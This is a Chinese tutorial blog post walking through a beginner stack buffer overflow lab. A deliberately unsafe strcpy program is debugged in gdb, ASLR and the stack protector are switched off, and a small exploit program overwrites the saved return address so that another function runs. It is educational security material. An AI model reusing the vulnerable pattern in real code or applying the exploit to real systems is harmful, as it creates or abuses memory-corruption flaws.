缓冲区溢出利用的简单例子

缓冲区溢出利用的简单例子

gcc从版本4以后就已经加上了缓冲区溢出攻
击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢 -fno-stack-protector这个编译的时候可以不加.
出保护。当然,也可以在更低版本的gcc中实现。

可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,这就给初次做实验的读者构成了很大的不便,可以执行这个
命令echo "0" > /proc/sys/kernel/randomize_va_space


问题如下:
1. ../sysdeps/i386/elf/start.S: No such file or directory.
in ../sysdeps/i386/elf/start.S

是因为在编译时没有加-g 引起,加上后就正常了。

2.在gdb中调试时,变量踪跟
print accum
打印出的值是不正确的(129302998或者是-1749387483),就像我没给它初始化一样,
就算我用print accum=5后,再print accum,也没用的,还是不对,网上查来查去都找不到。
但是我编译出的程序是可以正常运行的,就是gdb 调试不正常,我怀疑是gdb的问题。
先前,我把GCC升级了(4.1.0),而gdb仍然是老版本5.3,所以我下了一个gdb6.6,安装后就正常了。

gdb命令描述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.


利用缓冲区溢出调用bar函数
有个漏洞程序:

#include "stdio.h"
#include "string.h"
void copyout(const char *input){
char buf[10];
strcpy(buf,input);
printf("%s \n",buf);
};

void bar(void){
printf("being hacked\n");
}

int main(int argc,char *argv[]){
copyout(argv[1]);
return 0;
}


利用缓冲区溢出调用bar函数

[dorainm@dorainm lab1]$ vi lab1.c
//编译运行
[dorainm@dorainm lab1]$ gcc lab1.c -o lab1
[dorainm@dorainm lab1]$ ls
lab1 lab1.c
[dorainm@dorainm lab1]$ ./lab1 dorainm
dorainm
[dorainm@dorainm lab1]$


现在我们加入 -ggdb 参数,重新编译,然后用 gdb进行调试
[dorainm@dorainm lab1]$ gcc -g lab1.c -o lab1
[dorainm@dorainm lab1]$ gdb lab1
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disassemble copyout
Dump of assembler code for function copyout:
0x080483e4 <copyout+0>: push %ebp copyout方法的开始位置
0x080483e5 <copyout+1>: mov %esp,%ebp
0x080483e7 <copyout+3>: sub $0x18,%esp
0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
0x080483ed <copyout+9>: mov %eax,0x4(%esp)
0x080483f1 <copyout+13>: lea 0xfffffff6(%ebp),%eax
0x080483f4 <copyout+16>: mov %eax,(%esp)
0x080483f7 <copyout+19>: call 0x8048330 <__gmon_start__@plt+16>
0x080483fc <copyout+24>: lea 0xfffffff6(%ebp),%eax
0x080483ff <copyout+27>: mov %eax,0x4(%esp)
0x08048403 <copyout+31>: movl $0x8048500,(%esp)
0x0804840a <copyout+38>: call 0x8048310
0x0804840f <copyout+43>: leave
0x08048410 <copyout+44>: ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x08048411 <bar+0>: push %ebp bar方法的开始位置
0x08048412 <bar+1>: mov %esp,%ebp
0x08048414 <bar+3>: sub $0x8,%esp
0x08048417 <bar+6>: movl $0x8048505,(%esp)
0x0804841e <bar+13>: call 0x80482f0
0x08048423 <bar+18>: leave
0x08048424 <bar+19>: ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048425 <main+0>: lea 0x4(%esp),%ecx
0x08048429 <main+4>: and $0xfffffff0,%esp
0x0804842c <main+7>: pushl 0xfffffffc(%ecx)
0x0804842f <main+10>: push %ebp
0x08048430 <main+11>: mov %esp,%ebp
0x08048432 <main+13>: push %ecx
0x08048433 <main+14>: sub $0x4,%esp
0x08048436 <main+17>: mov 0x4(%ecx),%eax
0x08048439 <main+20>: add $0x4,%eax
0x0804843c <main+23>: mov (%eax),%eax
0x0804843e <main+25>: mov %eax,(%esp)
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax
0x0804844b <main+38>: add $0x4,%esp
0x0804844e <main+41>: pop %ecx
0x0804844f <main+42>: pop %ebp
0x08048450 <main+43>: lea 0xfffffffc(%ecx),%esp
0x08048453 <main+46>: ret
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!

我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误

Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000

Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17 {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18 copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax 0xbf8a99a4 -1081435740
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a9900 0xbf8a9900
ebp 0xbf8a9908 0xbf8a9908
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x8048436 0x8048436
//main函数中的0x08048436 <main+17>: mov 0x4(%ecx),%eax
eflags 0x200286 2097798
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
//进入copyout之后
//0x08048441 <main+28>: call 0x80483e4 <copyout>
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7 strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax 0xbf8ab97a -1081427590
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a98e0 0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446 <main+33>: mov $0x0,%eax的eip值,
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp 0xbf8a98f8 0xbf8a98f8
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x80483ea 0x80483ea
//变成了copyout里面的0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0 从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf8a98b0: 0x00000000 0x0177ff8e 0x00000000 0x00000000
0xbf8a98c0: 0x00000000 0x00000000 0x00000001 0x00000000
0xbf8a98d0: 0x00000000 0x00000000 0xbf8ab94c 0x08048370
//这儿就是栈顶了
0xbf8a98e0: 0x009edff4 0x080495f8 0xbf8a98f8 0x080482dd
0xbf8a98f0: 0x009eec80 0xbf8a99b0 0xbf8a9908 0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step 单步进到copyout方法中
8 printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0: 0x00000000 0x0804822a 0x00000000 0x08049614
0xbf8a98b0: 0x008c26d4 0x009edff4 0x008b7cc0 0x00000000
0xbf8a98c0: 0xbf8a98f8 0x008b09e0 0x00000002 0xbf8a9920
0xbf8a98d0: 0x00928b10 0x008b7cc0 0xbf8a98f8 0x080483fc
0xbf8a98e0: 0xbf8a98ee 0xbf8ab97a 0xbf8a98f8 0x6f6482dd
od dorainm输入的参数
0xbf8a98f0: 0x6e696172 0xbf8a006d 0xbf8a9908 0x08048446
niar m ebp eip
main方法中的
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax

//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c

#include "stdio.h"

char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/ 先写低位
"\x00"; /*end*/

int main(void)
{
char *arg[3];
arg[0]="./lab1";
arg[1]=code;
arg[2]=NULL;
execve(arg[0],arg,NULL);
return 0;
}


//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值